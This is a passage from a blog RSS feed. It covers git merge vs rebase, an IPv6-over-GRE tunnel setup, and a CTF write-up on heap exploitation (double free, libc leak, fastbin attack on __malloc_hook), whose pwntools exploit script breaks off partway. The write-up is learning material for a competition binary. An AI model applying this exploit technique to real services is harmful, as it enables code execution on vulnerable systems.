id="比较">比较</h4><p>直观来看 rebase似乎要更优一些，因为它可以产生一个完全线性的历史，好处包括不限于</p><ul><li>方便 <code>git log</code> 查看提交历史</li><li>减少了无意义的合并提交</li><li>满足强迫症</li></ul><p>但是万物都有两面，rebase一个致命的问题是它其实重写了中间所有的提交历史，在上图中我用<code>E'</code> 强调了这一点（因为 <code>E'</code> 和 <code>E</code>的祖先不同）。</p><p>这会导致什么问题呢？如果 <code>master</code>分支是跟远程仓库同步的，那么现在 <code>git</code> 会察觉到从<code>C</code> 开始 <code>master</code> 分支在远程和本地出现了diverge，也就是分歧，为了解决这个分歧有两个解决方案</p><ul><li><code>git push -f</code> 这是最直接的解决方案，前提是没有人在 master分支工作。</li><li><code>git merge</code> 如果有人在 master分支工作，这是可选的方案，但是会导致一个额外的合并提交和一些无意义的更改信息。</li></ul><p>无论哪个解决方案都会对工作流带来致命的影响，所以使用 rebase的法则就是：如果分支（比如上述的<code>master</code>）在别处有副本（比如有其他人在协作），那么绝对不应该被作为rebase 的对象。</p><p>但是反过来，把 <code>master</code> 分支 <code>rebase</code> 到<code>featureA</code>分支上是常见的操作，有利于保持线性的历史和同步开发进度。</p><p>总之 merge 和 rebase实际上是对工作流的选择，但是如何合并这个问题没有银弹，需要结合实际情况来看。</p><h2 id="一些失败案例">一些失败案例</h2><p>因为我学习使用 git 也有很长一段时间了，所以现在查看之前 git仓库的一些提交的时候可以发现很多问题。</p><h3 id="git-管理二进制文件">git 管理二进制文件</h3><p>之前在做软工项目的时候，我最后为了省事采用 git 直接管理了 docx 和 ppt等文件，现在来看是非常不合适的，原因有以下三条</p><ul><li>二进制文件在版本库中不是以 diff而是原样存储的（不考虑压缩），每次修改都会产生一个新的副本，会让<code>.git</code> 快速膨胀。</li><li>一旦出现冲突，二进制文件基本不可能自动合并必须手动合并。</li><li>极大的增加了每次 <code>git clone</code> 的时间。</li></ul><p>后来的解决方法是用石墨或者 Google docs 来单独做文档的协作。</p><h3 id="merge-和-rebase-滥用">merge 和 rebase 滥用</h3><p>同样是软工项目，当初因为没有理解 merge 和 rebase因此出现非常多的滥用，比如这一段工作流</p><img src="/2019/05/30/Git-%E5%B0%8F%E7%BB%93/1.png" class="" title="history"><p>其实就是几个 feature 在并行开发，但是由于没有 rebase导致了非常多的无用合并提交。</p><h3id="舍不得提交和提交写了一半的代码">舍不得提交和提交写了一半的代码</h3><p>同样也是软工项目，当时协作的时候有队友经常提交写了一半的代码或者攒了几百行才提交一次。</p><p>这两个问题其实可以归结为一个问题就是对 git 的设计哲学理解不清。</p><p>我认为 git的种种设计都是鼓励开发者勤提交，因为一旦出现问题可以非常方便的进行版本回退，同时大量有质量的提交也有助于其他人理解项目发展和设计理念。</p><h2 id="总结">总结</h2><p>git作为一个优秀的版本控制工具，的确值得我们好好学习和实践，但是在使用的同时，我认为理解git 的设计哲学和一些背后的实现有助于我们更好的管理项目。</p><h2 id="参考资料">参考资料</h2><ul><li><p><ahref="https://www.atlassian.com/git/tutorials/merging-vs-rebasing">Mergingvs. Rebasing</a></p></li><li><p><a href="https://git-scm.com/docs/git">git docs</a></p></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BC%96%E7%A8%8B/">编程</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BC%96%E7%A8%8B/Git/">Git</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/Git/">Git</category>
      
      <category domain="http://blog.ihomura.cn/tags/Merge/">Merge</category>
      
      <category domain="http://blog.ihomura.cn/tags/Rebase/">Rebase</category>
      
      
      <comments>http://blog.ihomura.cn/2019/05/30/Git-%E5%B0%8F%E7%BB%93/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>ipv6 over gre/sit: 通过6in4获得ipv6地址</title>
      <link>http://blog.ihomura.cn/2019/01/17/ipv6-over-gre-sit-%E9%80%9A%E8%BF%876in4%E8%8E%B7%E5%BE%97ipv6%E5%9C%B0%E5%9D%80/</link>
      <guid>http://blog.ihomura.cn/2019/01/17/ipv6-over-gre-sit-%E9%80%9A%E8%BF%876in4%E8%8E%B7%E5%BE%97ipv6%E5%9C%B0%E5%9D%80/</guid>
      <pubDate>Thu, 17 Jan 2019 09:54:59 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;最近用旧笔记本装了个 ESXi 当 NAS
用，其中有一个功能是我期待很久的：离线下载，但是当我挂公网 bt
的时候发现速度实在感人，然而由于某种原因 ESXi 的物理网卡接口上又拿不到
ipv6 但是我可以控制的某台机器有一段
&lt;code&gt;/64&lt;/code&gt;，所以就开始琢磨着怎么偷一段回来了。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>最近用旧笔记本装了个 ESXi 当 NAS用，其中有一个功能是我期待很久的：离线下载，但是当我挂公网 bt的时候发现速度实在感人，然而由于某种原因 ESXi 的物理网卡接口上又拿不到ipv6 但是我可以控制的某台机器有一段<code>/64</code>，所以就开始琢磨着怎么偷一段回来了。</p><span id="more"></span><h2 id="场景描述">场景描述</h2><p>RouterA:</p><ul><li>有 ipv4 地址 <code>$routerA_wan_ipv4</code> 在 <code>eth0</code>上可以连接到 <code>RouterB</code></li><li>有 ipv4 地址 <code>$routerA_lan_ipv4</code> 在 <code>eth1</code>上可以连接到 <code>NAS</code></li><li>无 ipv6 地址</li></ul><p>RouterB:</p><ul><li>有 ipv4 地址 <code>$routerB_wan_ipv4</code> 在 <code>eth0</code>上可以连接到 <code>RouterA</code></li><li>有 ipv6 地址 <code>$routerB_wan_ipv6</code> 在 <code>eth0</code>上可以连接到 WAN</li></ul><p>NAS：</p><ul><li>有 ipv4 地址 <code>$NAS_lan_ipv4</code> 可以连接到<code>RouterA</code></li><li>无 ipv6 地址</li></ul><p>隧道两端地址</p><ul><li>RouterA 端地址 <code>$RouterA_tunnel_ipv4</code> 和<code>$Router_tunnel_ipv6</code></li><li>RouterB 端地址 <code>$RouterB_tunnel_ipv4</code> 和<code>$Router_tunnel_ipv6</code></li></ul><p>网络拓扑</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NAS ---&lt;eth1&gt; RouterA &lt;eth0&gt;---&lt;eth0&gt; RouterB &lt;eth0&gt;--- WAN</span><br></pre></td></tr></table></figure><p>现在想要实现的目标是在 <code>RouterA</code> 和 <code>RouterB</code>之间打一条隧道让 NAS 能正常接入 ipv6 网络，由于 <code>RouterA</code> 和<code>RouterB</code> 之间只能用 ipv4 交换数据，所以我自然想到了<code>6in4</code>，所以可选的方案有 <code>ipv6 over gre</code> 和<code>ipv6 over sit</code> 两种，其中虽然 <code>sit</code> 可以直接用luci 配置但是不支持封装 ipv4 协议，而 <code>gre</code> 同时支持 ipv6 和ipv4 的封装，两者的配置基本是一样的。</p><h2 id="建立隧道">建立隧道</h2><h3 id="routera">RouterA</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ip tunnel add nasgre mode gre remote <span class="variable">$RouterB_wan_ipv4</span> <span class="built_in">local</span> <span class="variable">$RouterA_wan_ipv4</span></span><br><span class="line">ip addr add <span class="variable">$RouterA_tunnel_ipv4</span> dev nasgre</span><br><span class="line">ip addr add <span class="variable">$RouterA_tunnel_ipv6</span> dev nasgre</span><br><span class="line">ip <span class="built_in">link</span> <span class="built_in">set</span> nasgre up</span><br></pre></td></tr></table></figure><h3 id="routerb">RouterB</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ip tunnel add nasgre mode gre remote <span class="variable">$RouterA_wan_ipv4</span> <span class="built_in">local</span> <span class="variable">$RouterB_wan_ipv4</span></span><br><span class="line">ip addr add <span class="variable">$RouterB_tunnel_ipv4</span> dev nasgre</span><br><span class="line">ip addr add <span class="variable">$RouterB_tunnel_ipv6</span> dev nasgre</span><br><span class="line">ip <span class="built_in">link</span> <span class="built_in">set</span> nasgre up</span><br></pre></td></tr></table></figure><p>到这里隧道的两端就配好了。</p><h2 id="设置路由">设置路由</h2><h3 id="routera-1">RouterA</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ip -6 ro del default</span><br><span class="line">ip -6 ro add default via <span class="variable">$RouterB_tunnel_ipv6</span> dev nasgre</span><br><span class="line">ip addr add <span class="variable">$RouterA_lan_ipv6</span> dev eth1</span><br></pre></td></tr></table></figure><p>其中 <code>$RouterA_lan_ipv6</code> 应该是 NAS 的默认网关。</p><p><code>RouterB</code> 上不出意外是不用设置额外路由的。</p><p>到这里 <code>RouterA</code> 应该能 ping 通<code>$RouterB_tunnel_ipv6</code>了（当然也可能不通，见下文），然而我的最终目标是 NAS能正常使用，但是虽然我给 NAS 设置了一个 ipv6地址但是并不能正常上网，所以下面就是我踩的坑了。</p><h2 id="iptables-放行-gre">iptables 放行 gre</h2><p>这个是最坑的，iptables + tcpdump 了一年才发现 iptables 默认会拦截所有gre 包即使 policy 是 ACCEPT。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">iptables -I INPUT 1  -p gre -j ACCEPT</span><br><span class="line">iptables -I OUTPUT 1 -p gre -j ACCEPT</span><br></pre></td></tr></table></figure><p>这样隧道两端就应该通了。</p><h2 id="ipv6-ndp-proxy">ipv6 ndp proxy</h2><p>这个是第二个坑点。</p><h3 id="proxy-arp">proxy arp</h3><p>首先我们知道 ipv6 的 ndp 协议替代了 ipv4 的 arp 协议，在 arp中有个东西叫作 <code>proxy arp</code>，它的定义是</p><blockquote><p>Proxy ARP is a technique by which a device on a given network answersthe ARP queries for an IP address that is not on that network. The ARPproxy is aware of the location of the traffic's destination, and offersits own MAC address as (ostensibly final) destination.[1] The trafficdirected to the proxied IP address is then typically routed by the proxyto the intended destination via another interface or via a tunnel. Theprocess, which results in the node responding with its own MAC addressto an ARP request for a different IP address for proxying purposes, issometimes referred to as 'publishing'.</p></blockquote><p>也就是说在某个设备知道去往某个网络的路由的时候，如果有其他设备希望知道这个网络的mac，它会回应自己的 mac 地址。</p><p>听起来有点费解，先思考一下设备什么时候会发送 arp 地址？</p><ul><li>在有默认网关的情况下，如果目标地址不跟本机在同一个网络，那么直接发给默认网关（当然这里需要用arp 协议获得默认网关的 mac）</li><li>没有默认网关的情况下，对任意地址都需要用 arp 协议转换为 mac地址。</li></ul><p>对于第一种情况，一般情况下同一个子网的机器都是二层互通的所以问题不大，但是假如有如下拓扑</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">         192.168.1.1/24</span><br><span class="line">         Router</span><br><span class="line">   eth0 /      \ eth1</span><br><span class="line">       /        \</span><br><span class="line">      /          \</span><br><span class="line">     /            \</span><br><span class="line">    /              \</span><br><span class="line">DeviceA           DeviceB</span><br><span class="line">192.168.1.2/24    192.168.1.3/24</span><br></pre></td></tr></table></figure><p>其中路由器上 eth0 和 eth1 没有桥接，在这种情况下当 DeviceA 想和DeviceB 通信的时候会发送 arp 包询问 DeviceB 的 mac 地址，但是很不幸的是Router 不会把这个广播包从 eth0 转发到 eth1，在这种情况下<code>proxy arp</code> 就排上用场了：Router可以在 eth0 上收到询问DeviceB 的 arp 包的时候回应自己的 mac 地址，配置大概是</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ip neigh add proxy 192.168.1.3 dev eth0</span><br><span class="line">ip neigh add proxy 192.168.1.2 dev eth1</span><br></pre></td></tr></table></figure><p>这样 DeviceA 发往 DeviceB 的包都会先发往Router，这时候由于是三层的包所以 Router 会正常转发到 eth1上，可以说是“善意的欺骗”。</p><p>类似的对于第二种情况，Router 可以设置为对于任意地址的 arp广播包都返回自己的 mac 地址，这样实质上就是实现了默认网关。</p><h3 id="设置-proxy">设置 proxy</h3><p>回到之前的拓扑</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NAS --- RouterA ---&lt;gre tunnel&gt;--- RouterB --- Gateway --- WAN</span><br></pre></td></tr></table></figure><p>现在就有一个问题，<code>RouterB</code> 的默认网关并不能发现隧道后<code>RouterA</code> 和 <code>NAS</code> 上的任意 ipv6 地址，因为<code>RouterB</code> 在收到来自默认网关的 RS 报文的时候不会转发给<code>RouterA</code>，所以这里我们需要让 <code>RouterB</code>的默认网关知道发往 <code>RouterA</code> 和 <code>NAS</code> 的包要先通过<code>RouterB</code>，除了直接桥接隧道 interface 和 eth0让广播包正常通过隧道以外的方法就是 <code>ipv6 ndp proxy</code>了，类似之前第一种情况的解决方法，只要在 <code>RouterB</code> 上执行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ip neigh add proxy <span class="variable">$nas_lan_ipv6</span> dev eth0</span><br><span class="line">ip neigh add proxy <span class="variable">$RouterA_lan_ipv6</span> dev eth0</span><br></pre></td></tr></table></figure><p>同样的在 <code>RouterA</code> 上执行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ip neigh add proxy <span class="variable">$RouterA_tunnel_ipv6</span> dev eth1</span><br><span class="line">ip neigh add proxy <span class="variable">$RouterB_tunnel_ipv6</span> dev eth1</span><br></pre></td></tr></table></figure><p>这样隧道后面的 ipv6 地址就可以被正常发现了。</p><p>另外这里需要这两行的原因是我在分配隧道 ipv6的时候没有使用私用地址而且还跟 NAS 的 ipv6 一个段。</p><h2 id="小结">小结</h2><p>到这里就配置好啦，虽然饶了不少弯路，但是教育网 pt 这个速度值呀。</p><p>不过反思一下，实际上整体配置还是有一些可以改进的地方。</p><ul><li>隧道两端可以用私有 <code>/126</code> 地址</li><li>直接桥接 interface 应该也是一个不错的选择</li></ul><p>不过反正都跑通了，管他呢（逃</p><h2 id="参考资料">参考资料</h2><ul><li><ahref="https://www.systutorials.com/docs/linux/man/8-ip-neighbour/">ip-neighbour(8) - Linux Man Pages</a></li><li><a href="http://linux-ip.net/html/adv-proxy-arp.html">Breaking anetwork in two with proxy ARP</a></li><li><a href="https://en.wikipedia.org/wiki/Proxy_ARP">Proxy ARP</a></li><li><ahref="http://recursiveg.me/2015/09/get-ipv6-via-gre-tunnel/">Linux下建立GRE隧道并获取IPv6地址</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/ipv6-over-ipv4/">ipv6 over ipv4</category>
      
      <category domain="http://blog.ihomura.cn/categories/ipv6-over-ipv4/tunnel/">tunnel</category>
      
      <category domain="http://blog.ihomura.cn/categories/ipv6-over-ipv4/tunnel/gre/">gre</category>
      
      <category domain="http://blog.ihomura.cn/categories/ipv6-over-ipv4/tunnel/gre/sit/">sit</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/Network/">Network</category>
      
      
      <comments>http://blog.ihomura.cn/2019/01/17/ipv6-over-gre-sit-%E9%80%9A%E8%BF%876in4%E8%8E%B7%E5%BE%97ipv6%E5%9C%B0%E5%9D%80/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>WriteUp-湖湘杯2018-contacts_plus</title>
      <link>http://blog.ihomura.cn/2018/12/02/WriteUp-%E6%B9%96%E6%B9%98%E6%9D%AF2018-contacts-plus/</link>
      <guid>http://blog.ihomura.cn/2018/12/02/WriteUp-%E6%B9%96%E6%B9%98%E6%9D%AF2018-contacts-plus/</guid>
      <pubDate>Sun, 02 Dec 2018 15:13:46 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;这次湖湘杯真的是无力吐槽了，因为 PWN 学的太菜只好当 web
手结果整场比赛服务器都卡的要命，感觉还没隔壁 10 刀一年超售大王卖的 VPS
快，最后摸了个第十一名也是很气。&lt;/p&gt;
&lt;p&gt;不过这道堆的 PWN 算是很基础了，也算是学习的起步吧，之前虽然看过
ptmalloc
的源代码也分析过内存分配流程了但是有很多东西还是得调过才能理解透彻。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>这次湖湘杯真的是无力吐槽了，因为 PWN 学的太菜只好当 web手结果整场比赛服务器都卡的要命，感觉还没隔壁 10 刀一年超售大王卖的 VPS快，最后摸了个第十一名也是很气。</p><p>不过这道堆的 PWN 算是很基础了，也算是学习的起步吧，之前虽然看过ptmalloc的源代码也分析过内存分配流程了但是有很多东西还是得调过才能理解透彻。</p><span id="more"></span><p>题目本体见<a href="/hxb2018/contacts_plus">这里</a></p><h2 id="题目描述">题目描述</h2><p>首先检查程序保护</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">/m/h/C/h/n/pwn2 $ checksec contacts_plus</span><br><span class="line">[*] &#x27;/mnt/hgfs/CTF/hxb2018/nk/pwn2/contacts_plus&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>可以看到保护全开。</p><h2 id="逻辑分析">逻辑分析</h2><p>拖进 ida一看，出题人竟然很贴心的保留了符号，和常规的堆题一致，就是增删改查四个功能。</p><img src="/2018/12/02/WriteUp-%E6%B9%96%E6%B9%98%E6%9D%AF2018-contacts-plus/1.png" class="" title="main"><h3 id="漏洞点">漏洞点</h3><p>关键的漏洞点有两个，不过道理是一样的。</p><p>第一处出在 <code>RemoveContact</code> :</p><img src="/2018/12/02/WriteUp-%E6%B9%96%E6%B9%98%E6%9D%AF2018-contacts-plus/2.png" class="" title="remove"><p>第二处出在 <code>ChangeName</code> :</p><img src="/2018/12/02/WriteUp-%E6%B9%96%E6%B9%98%E6%9D%AF2018-contacts-plus/3.png" class="" title="Change"><p>核心问题在于删除后没有把 <code>Description</code> 的指针置为<code>NULL</code> 而且这时候 <code>name</code> 实际上就是<code>""</code>，所以只要输入的 <code>s</code> 为 <code>""</code>就可以访问到已经移除的 <code>Contact</code>。</p><p>这样我们就很容易触发 <code>Double Free</code>。</p><h2 id="利用">利用</h2><p>漏洞点很清晰，但是怎么利用？</p><p>很容易想到 fastbin attack但是在那之前我们需要得到要写的地址，所以需要先泄露 <code>libc</code>基址。</p><h2 id="leak-libc">leak libc</h2><p>首先要做的是泄露 <code>libc</code> 的基址，这里是利用<code>unsorted bins</code> 来泄露。</p><p>我们知道 <code>unsorted bins</code> 实际上可以说是<code>small bins</code> 和 <code>large bins</code>的缓存，并且通过环形链表来管理，因此只要我们只要触发 <code>UAF</code>就能带出 <code>arena</code> 的地址，而 <code>arena</code> 在<code>libc</code> 中的偏移是固定的因此可以算出 <code>libc</code>的地址。</p><p>为此需要构造 <code>contacts[0]-&gt;Description</code> 和<code>contacts[1]-&gt;Description</code> 指向同一个 <code>chunk</code>并且 <code>contacts[1]</code> 已经被删除，这时候只要再删除<code>contacts[1]</code> 一次 <code>contacts[0]-&gt;Description</code>指针就指向了一个被双链表连接的<code>unsorted bin</code>，然后通过打印就可以泄露一个 <code>arena</code>内的固定偏移地址了。</p><p>到这里我们就拿到了 <code>libc</code> 的基址了。</p><h2 id="fastbin-attack">fastbin attack</h2><p>下一步就是通过 fastbin attack 写 <code>__malloc_hook</code> 了，具体fastbin attack 的原理<ahref="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/">ctf-wiki</a>已经写得很详细了，这里不再赘述，关键是如何绕过<code>malloc</code> 的检查。</p><p>最后我们需要把新的 <code>fastbin</code> 分配到<code>__malloc_hook</code>，但是 <code>malloc</code>会检查其大小，具体代码是</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (victim != <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (__builtin_expect (fastbin_index (chunksize (victim)) != idx, <span class="number">0</span>)) <span class="comment">// 这里！</span></span><br><span class="line">    &#123;</span><br><span class="line">        errstr = <span class="string">&quot;malloc(): memory corruption (fast)&quot;</span>;</span><br><span class="line">    errout:</span><br><span class="line">        malloc_printerr (check_action, errstr, chunk2mem (victim), av);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    check_remalloced_chunk (av, victim, nb);</span><br><span class="line">    <span class="type">void</span> *p = chunk2mem (victim);</span><br><span class="line">    alloc_perturb (p, bytes);</span><br><span class="line">    <span class="keyword">return</span> p;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们可以观察 <code>__malloc_hook</code> 周围的内存</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; hexdump (char*)(&amp;__malloc_hook)-0x40 0x80                                                                </span><br><span class="line">│+0000 0x7ffff7dd1ad0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│</span><br><span class="line">│...</span><br><span class="line">│+0020 0x7ffff7dd1af0  60 02 dd f7  ff 7f 00 00  00 00 00 00  00 00 00 00  │`...│....│....│....│</span><br><span class="line">│+0030 0x7ffff7dd1b00  20 2e a9 f7  ff 7f 00 00  00 2a a9 f7  ff 7f 00 00  │....│....│.*..│....│</span><br><span class="line">│+0040 0x7ffff7dd1b10  00 00 00 00  00 00 00 00 (&lt;- __malloc_hook) 00 00 00 00  00 00 00 00  │....│....│....│....│</span><br><span class="line">│+0050 0x7ffff7dd1b20  00 00 00 00  01 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│</span><br><span class="line">│+0060 0x7ffff7dd1b30  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│</span><br><span class="line">│...</span><br><span class="line">│pwndbg&gt; </span><br></pre></td></tr></table></figure><p>可以看到有一些 <code>0x7f</code>可以供我们利用，因此可以利用错位分配让 <code>0x7f</code> 成为<code>chunk</code> 的 <code>size</code>字段就可以绕过检查了，这里我选择让 <code>fastbin</code> 分配到<code>(char*)&amp;__malloc_hook - 0x23</code>。</p><p>同时根据计算 <code>0x7f</code> 对应的 <code>requestsize</code> 是<code>0x70</code>，减去<code>prev_size</code>和<code>size</code>也就是说我们要申请<code>0x60</code> 的内存即可。</p><p>最终利用 <code>one_gadget</code> 尝试可利用的 <code>gadget</code>写入 <code>__malloc_hook</code> 即可。</p><h2 id="exp">exp</h2><p>整体 exp 如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line">Debug = <span class="built_in">len</span>(sys.argv) &lt;<span class="number">2</span></span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;splitw&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span><br><span class="line">context.log_level = <span class="string">&quot;Debug&quot;</span></span><br><span class="line">context.aslr = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> Debug:</span><br><span class="line">    sh = gdb.debug(<span class="string">&quot;./contacts_plus&quot;</span>,</span><br><span class="line">                   gdbscript=<span class="string">&quot;b *0x555555555303&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    sh = process(<span class="string">&quot;./contacts_plus&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create</span>(<span class="params">name, phone, deslen, des</span>):</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;&gt;&gt;&gt;&quot;</span>, <span class="string">&quot;1&quot;</span>)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;Name:&quot;</span>, name)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;No:&quot;</span>, phone)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;ion:&quot;</span>, deslen)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;ion:&quot;</span>, des)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">remove</span>(<span class="params">name</span>):</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;&gt;&gt;&gt;&quot;</span>, <span class="string">&quot;2&quot;</span>)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;ve?&quot;</span>, name)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">display</span>():</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;&gt;&gt;&gt;&quot;</span>, <span class="string">&quot;4&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">editname</span>(<span class="params">old, new</span>):</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;&gt;&gt;&gt;&quot;</span>, <span class="string">&quot;3&quot;</span>)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;change:&quot;</span>, old)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;&gt;&gt;&gt;&quot;</span>, <span class="string">&quot;1&quot;</span>)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;name:&quot;</span>, new)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">editdes</span>(<span class="params">old, deslen, des</span>):</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;&gt;&gt;&gt;&quot;</span>, <span class="string">&quot;3&quot;</span>)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;change:&quot;</span>, old)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;&gt;&gt;&gt;&quot;</span>, <span class="string">&quot;2&quot;</span>)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;ion:&quot;</span>, deslen)</span><br><span class="line">    sh.sendlineafter(<span class="string">&quot;ion:&quot;</span>, des)</span><br><span class="line"></span><br><span class="line">gadget = <span class="number">0xf1147</span> </span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&quot;./libc.so.6&quot;</span>)</span><br><span class="line">create(<span class="string">&quot;111&quot;</span>, <span class="string">&quot;111&quot;</span>, <span class="string">&quot;256&quot;</span>, <span class="string">&quot;1&quot;</span>*<span class="number">256</span>)</span><br><span class="line">create(<span class="string">&quot;222&quot;</span>, <span class="string">&quot;222&quot;</span>, <span class="string">&quot;256&quot;</span>, <span class="string">&quot;2&quot;</span>*<span class="number">256</span>)</span><br><span class="line">create(<span class="string">&quot;333&quot;</span>, <span class="string">&quot;333&quot;</span>, <span 